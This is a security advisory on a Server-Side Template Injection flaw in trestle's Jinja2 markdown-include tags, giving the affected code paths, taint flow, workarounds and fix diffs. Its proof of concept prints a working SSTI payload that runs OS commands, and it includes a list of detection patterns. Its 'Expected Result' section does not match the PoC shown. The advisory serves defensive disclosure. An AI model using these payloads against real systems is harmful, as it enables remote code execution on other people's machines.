Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data

Impact

A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.

The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (__class__.__mro__, __globals__, __subclasses__()) to achieve arbitrary command execution via os.system() or subprocess.

Previously fixed instance (historical context):

An earlier version of render_template() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.__init__.__globals__.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed — render_template() now performs a single template.render(**lut) call.

Still-vulnerable code paths (this advisory):

1. MDCleanInclude.parse() — trestle/core/jinja/tags.py:148-151: Markdown file content is loaded via FileSystemLoader.get_source(), then re-parsed as Jinja2 source via Parser(self.environment, content).parse().

2. MDSectionInclude.parse() — trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (md_section.content.raw_text) is re-parsed as Jinja2 source via Parser(self.environment, raw_text).parse().

3. MDDatestamp.parse() — trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated from strftime() rather than user input.

All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.

Attack vectors:

• Path A (Markdown include): Attacker places a malicious .md file with embedded Jinja2 payload in the trestle workspace. When {% md_clean_include "malicious.md" %} or {% mdsection_include %} is processed, the payload executes.
• Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g., metadata.title) contains {{ namespace.__init__.__globals__.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.

The same __globals__.os.system() RCE technique demonstrated in the previously-fixed render_template vulnerability applies to the remaining re-parsing paths.

Workarounds

1. Disable vulnerable tags: Remove MDCleanInclude and MDSectionInclude from the Jinja2 extensions list in trestle/core/jinja/ext.py:32 if markdown includes are not required.
2. Audit included Markdown files: Review all Markdown files referenced by {% md_clean_include %} and {% mdsection_include %} tags for unexpected Jinja2 syntax ({{ }}, {% %}, {# #}).
3. Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.
4. Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories.
5. Pre-commit hook: Add a pre-commit hook to scan .md, .json, .yaml files for Jinja2 syntax patterns ({{ namespace, {% for, __globals__, __class__, __mro__, __subclasses__, os.system, subprocess) and block commits containing them.
6. CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.

Attack Path (Validation Evidence)

Path A: via {% md_clean_include %} tag

[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md
    ↓ main() → JinjaCmd._run(args)  [trestle/core/commands/author/jinja.py:108]
    ↓
[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...)  [jinja.py:178]
    ↓ jinja_env = JinjaCmd._create_jinja_environment(template_folder)  [jinja.py:192]
    ↓ template = jinja_env.get_template(str(r_input_file))  [jinja.py:193]
    ↓ output = JinjaCmd.render_template(template, lut, template_folder)  [jinja.py:225]
    ↓
[Render] Jinja2 engine encounters {% md_clean_include "malicious.md" %}
    ↓
[Tag Handler] MDCleanInclude.parse(parser)  [tags.py:115]
    ↓ markdown_source = "malicious.md"  [tags.py:127]
    ↓ self.environment.loader.get_source(self.environment, "malicious.md")  [tags.py:139]
    ↓    ← Loads file content from workspace directory (no restrictions on content)
    ↓ frontmatter.loads(md_content) → fm.content  [tags.py:140-141]
    ↓    ← NO SANITIZATION: Markdown body assigned directly to content variable
[SINK] local_parser = Parser(self.environment, content)  [tags.py:148]
    ↓    ← Markdown content parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse()  [tags.py:149]
    ↓    ← ALL Jinja2 syntax in the .md file is EXECUTED
[Impact] SSTI — attacker-controlled Jinja2 code executes in template context

Path B: via {% mdsection_include %} tag

[Entry Point] Same as Path A
    ↓ Jinja2 engine encounters {% mdsection_include "doc.md" "Section Title" %}
    ↓
[Tag Handler] MDSectionInclude.parse(parser)  [tags.py:56]
    ↓ self.environment.loader.get_source(..., markdown_source.value)  [tags.py:82]
    ↓ DocsMarkdownNode.build_tree_from_markdown(fm.content.split('\n'))  [tags.py:86]
    ↓ full_md.get_node_for_key(section_title.value) → md_section  [tags.py:87]
    ↓    ← Extracts specific section from the markdown document
[SINK] local_parser = Parser(self.environment, md_section.content.raw_text)  [tags.py:100]
    ↓    ← Section raw text parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse()  [tags.py:101]
    ↓    ← ALL Jinja2 syntax in the extracted section is EXECUTED
[Impact] SSTI — same impact as Path A, limited to a specific markdown section

Taint Flow (Validation Evidence)

Source: User-supplied .md file in trestle workspace (file system)
  Type: Markdown text file
  Controllability: FULL — attacker controls entire file content
    ↓
[Transform 1] FileSystemLoader.get_source()  [tags.py:82 or 139]
  Reads raw file content as string
  ✓ SANITIZATION: NONE — any content is loaded
    ↓
[Transform 2] frontmatter.loads(md_content)  [tags.py:83 or 140]
  Strips YAML frontmatter, preserves Markdown body
  ✓ SANITIZATION: NONE — only processes YAML header, ignores body content
    ↓
[Transform 3] fm.content → content variable  [tags.py:141] (Path A)
               OR md_section.content.raw_text  [tags.py:100] (Path B)
  Direct string assignment
  ✓ SANITIZATION: NONE — no filtering, encoding, or validation
    ↓
[Transform 4] adjust_heading_level(content, expected)  [tags.py:146] (Path A only)
  Adjusts Markdown heading levels (e.g., ## → ###)
  ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax
    ↓
[Sink] Parser(self.environment, tainted_string)  [tags.py:100 or 148]
  Tainted Markdown content is passed to Jinja2 Parser constructor as template source
[Sink] local_parser.parse()  [tags.py:101 or 149]
  All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed
    ↓
[Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context

Sanitization Verdict: ABSENT
  - No sandboxing: jinja2.Environment used (not SandboxedEnvironment)
  - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped
  - No content validation: Markdown body is not scanned for template syntax
  - autoescape=True is irrelevant: only affects HTML output encoding, not code execution

Proof of Concept

Setup

# Initialize trestle workspace
trestle init

# Create malicious markdown file with Jinja2 payload
cat > malicious.md << 'EOF'
---
yaml_header: ignored
---

# Compliance Documentation

Testing SSTI vulnerability:
Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
EOF

# Create trigger template
cat > trigger.md.jinja << 'EOF'
# POC: SSTI via md_clean_include tag

{% md_clean_include "malicious.md" %}
EOF

# Create a dummy LUT file
cat > empty.yaml << 'EOF'
lut:
  api_key: super_secret_token_12345
  db_password: P@ssw0rd_2024
  jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  aws_access_key: AKIAIOSFODNN7EXAMPLE
  aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
  internal_api: https://internal.corp.example.com/api/v2/users
EOF

Execution

trestle init
trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml

Observed Output

# POC: SSTI via md_clean_include tag

# Compliance Documentation

Testing SSTI vulnerability:
Execute command: root

Expected Result

The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.

Affected Component

• File: trestle/core/jinja/tags.py
• Class: MDCleanInclude (lines 106-151)
• Class: MDSectionInclude (lines 47-103)
• Function: MDCleanInclude.parse() (line 115), MDSectionInclude.parse() (line 56)
• Configuring module: trestle/core/commands/author/jinja.py, method _create_jinja_environment() (line 304)
• Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library

Fix Recommendation

Important: The fix for render_template() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.

Comprehensive Fix Strategy

Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:

# tags.py: MDCleanInclude.parse() — replace lines 148-151:
- local_parser = Parser(self.environment, content)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(content)])]

# tags.py: MDSectionInclude.parse() — replace lines 100-103:
- local_parser = Parser(self.environment, md_section.content.raw_text)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]

Step 2 (Defense in depth): Switch to SandboxedEnvironment in _create_jinja_environment():

# jinja.py:304-308 — _create_jinja_environment()
+ from jinja2.sandbox import SandboxedEnvironment
- return Environment(
+ return SandboxedEnvironment(
      loader=FileSystemLoader(template_folder),
      extensions=extensions(),
      trim_blocks=True,
      autoescape=True
  )

Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:

# jinja.py: add to _run() before rendering
_JINJA2_DANGEROUS_PATTERNS = [
    r'\{\{.*__globals__',
    r'\{\{.*__class__',
    r'\{\{.*__mro__',
    r'\{\{.*__subclasses__',
    r'\{\{.*__init__',
    r'\{\{.*os\.system',
    r'\{\{.*subprocess',
    r'\{%\s*for\s',
    r'\{%\s*if\s',
]

def _validate_data_field(value: str) -> bool:
    """Reject data values containing suspicious Jinja2 syntax."""
    for pattern in _JINJA2_DANGEROUS_PATTERNS:
        if re.search(pattern, value):
            return False
    return True

Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

  # tags.py: before any secondary parsing
+ import re
+ def escape_jinja2(text: str) -> str:
+     return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text)
+
+ content = escape_jinja2(content)  # apply before Parser()
  local_parser = Parser(self.environment, content)